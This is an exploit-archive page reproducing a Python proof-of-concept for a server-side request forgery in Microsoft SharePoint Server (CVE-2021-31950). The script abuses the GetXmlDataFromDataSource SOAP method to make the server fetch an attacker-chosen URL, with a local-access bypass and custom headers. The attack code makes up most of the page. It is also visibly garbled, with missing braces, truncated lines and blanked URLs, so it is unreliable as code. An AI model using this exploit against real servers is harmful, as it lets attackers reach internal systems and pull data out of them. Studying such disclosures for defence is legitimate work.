Microsoft SharePoint Server 16.0.10372.20060 Server-Side Request Forgery

CVE Category Price Severity
CVE-2021-31950 CWE-918 $5,000 - $25,000 Critical
Author Risk Exploitation Type Date
Resecurity, Inc High Remote 2021-06-11
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Microsoft SharePoint Server 16.0.10372.20060 Server-Side Request Forgery
# Exploit Title: Microsoft SharePoint Server 16.0.10372.20060 - 'GetXmlDataFromDataSource' Server-Side Request Forgery (SSRF)
# Date: 09 Jun 2021
# Exploit Author: Alex Birnberg
# Software Link:
# Version: 16.0.10372.20060
# Tested on: Windows Server 2019
# CVE : CVE-2021-31950

#!/usr/bin/env python3

import html
import random
import string
import xml.sax.saxutils
import textwrap
import requests
import argparse
import xml.etree.ElementTree as ET
from requests_ntlm2 import HttpNtlmAuth
from urllib.parse import urlencode, urlparse

class Exploit:
  def __init__(self, args):
    o = urlparse(args.url)
    self.url = args.url
    self.service = o.path
    self.username = args.username
    self.password = args.password =
    self.headers = args.header 
    self.method = args.request =
    self.content_type = args.content_type
    self.s = requests.Session()
    self.s.auth = HttpNtlmAuth(self.username, self.password)
    self.s.headers = {
      'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36'
    self.s.proxies = {
      'http': ''

  def trigger(self):
    headers = ''
    if self.headers:
      for header in self.headers:
        header = list(map(lambda x: x.strip(), header.split(':')))
        if len(header) != 2:
        headers += '<dataurl:Header name="{}">{}</dataurl:Header>'.format(header[0], header[1])
    method = ''
    bypass_local = ''
    if self.method and self.method.upper() == 'POST':
      method = 'HTTP Post'
      method = 'HTTP Get'
      bypass_local = '<dataurl:Arguments><dataurl:Argument Name="{0}">{0}</dataurl:Argument></dataurl:Arguments>'.format(''.join(random.choice(string.ascii_letters) for i in range(16)))
    content_type = ''
    if self.content_type and len(self.content_type):
      content_type = '<dataurl:ContentType>{}</dataurl:ContentType>'.format(self.content_type)
    data = ''
    if and len(
      data = '<dataurl:PostData Encoding="Decode">{}</dataurl:PostData>'.format(html.escape('ascii', 'xmlcharrefreplace').decode('utf-8'))
    query_xml = textwrap.dedent('''\
    <udc:DataSource xmlns:udc="" xmlns:udcs="" xmlns:soap="" xmlns:dsp="" xmlns:dataurl="">
        <udcs:Location href="">XMLURLDataAdapter</udcs:Location>
          <dsp:request method="query" />
                <dataurl:Url href="{}" Method="{}"/>
    </udc:DataSource>'''.format(, method, bypass_local, headers, data, content_type))
    query_xml = xml.sax.saxutils.escape(query_xml.replace('\r', '').replace('\n', ''))
    data = textwrap.dedent('''\
      <?xml version="1.0" encoding="utf-8"?>
      <soap:Envelope xmlns:xsi="" xmlns:xsd="" xmlns:soap="">
          <GetXmlDataFromDataSource xmlns="">
    r = self.soap('webpartpages', '', data)
    root = ET.fromstring(r.content)
      namespaces = {
        'soap': ''
      value = list(root.find('soap:Body', namespaces).iter())[2]   
      if value.tag == 'faultcode':
        print('Error:', list(root.find('soap:Body', namespaces).iter())[3].text)

  def soap(self, service, action, data):
    headers = {
      'SOAPAction': '"{}"'.format(action),
      'Host': 'localhost',
      'Content-Type': 'text/xml; charset=utf-8',
    return'{}/_vti_bin/{}.asmx'.format(self.url, service), headers=headers, data=data)

if __name__ == '__main__':
  parser = argparse.ArgumentParser()
  parser.add_argument('--url', help='Base URL', required=True, metavar='<url>')
  parser.add_argument('--username', help='Username of team site owner', required=True, metavar='<username>')
  parser.add_argument('--password', help='Password of team site owner', required=True, metavar='<password>')
  parser.add_argument('--target', help='Target URL to work with', required=True, metavar='<target>')
  parser.add_argument('-H', '--header', help='Pass custom header(s) to server', action='append', metavar='<header>')
  parser.add_argument('-X', '--request', help='Specify request command to use', metavar='<command>')
  parser.add_argument('-d', '--data', help='HTTP POST data', metavar='<data>') 
  parser.add_argument('-c', '--content-type', help='Value for the "Content-Type" header', metavar='<type>')
  exploit = Exploit(parser.parse_args())

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum